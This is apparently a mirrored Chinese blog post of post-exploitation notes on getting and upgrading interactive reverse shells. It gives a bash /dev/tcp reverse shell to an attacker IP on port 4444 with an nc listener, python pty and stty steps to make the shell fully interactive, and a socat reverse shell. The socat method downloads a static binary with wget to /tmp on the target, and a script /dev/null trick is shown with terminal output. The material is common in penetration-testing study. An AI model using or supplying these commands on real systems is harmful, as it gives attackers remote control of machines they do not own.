0

交互式shell

 2 years ago
source link: https://joker-vip.github.io/2022/03/15/%E4%BA%A4%E4%BA%92%E5%BC%8Fshell/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

交互式shell

发表于 2022-03-15

| 分类于 shell

交互式shell

一、参考链接

https://saucer-man.com/information_security/233.html

二、命令记录

1、python pth方式

python -c 'import pty; pty.spawn("/bin/bash")'

2、升级nc为完全交互

攻击机本地执行
首先检查当前终端和STTY信息
$ echo $TERM
$ stty -a
nc开启监听
$ nc -lvvp 4444

目标机执行
$ bash -i >& /dev/tcp/192.168.81.160/4444 0>&1

接着运行如下一堆命令:
# 此时攻击机已经获取到了bash
# 接下来执行
$ python -c 'import pty; pty.spawn("/bin/bash")' //启用python交互式
# 把它丢到后台挂起
$ ctrl + z
# 重置stty,也就意味着你看不到输入的内容
$ stty raw -echo
# 把后台挂起的程序调回前台
$ fg
# 完全刷新终端屏幕
$ reset
# 接下来设置环境变量,根据第一步得到的环境变量来设置
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows 行数 columns 列数

3、使用socat

攻击机:
首先安装
$ sudo apt install socat
执行
$ socat file:`tty`,raw,echo=0 tcp-listen:4444

目标机:
把socat上传到目标机器上或者直接下载
$ wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat
运行
$ chmod +x /tmp/socat
$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.81.160:4444

4、script获取pty

C:\Users\w5023
λ nc -lvvp 4444
listening on [any] 4444 ...
connect to [192.168.2.134] from DESKTOP-IBUUT6H.lan [192.168.2.134] 30567
ubuntu@ubuntu:~$ tty
tty
not a tty
ubuntu@ubuntu:~$ script /dev/null
script /dev/null
Script started, file is /dev/null
ubuntu@ubuntu:~$ tty
tty
/dev/pts/1

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK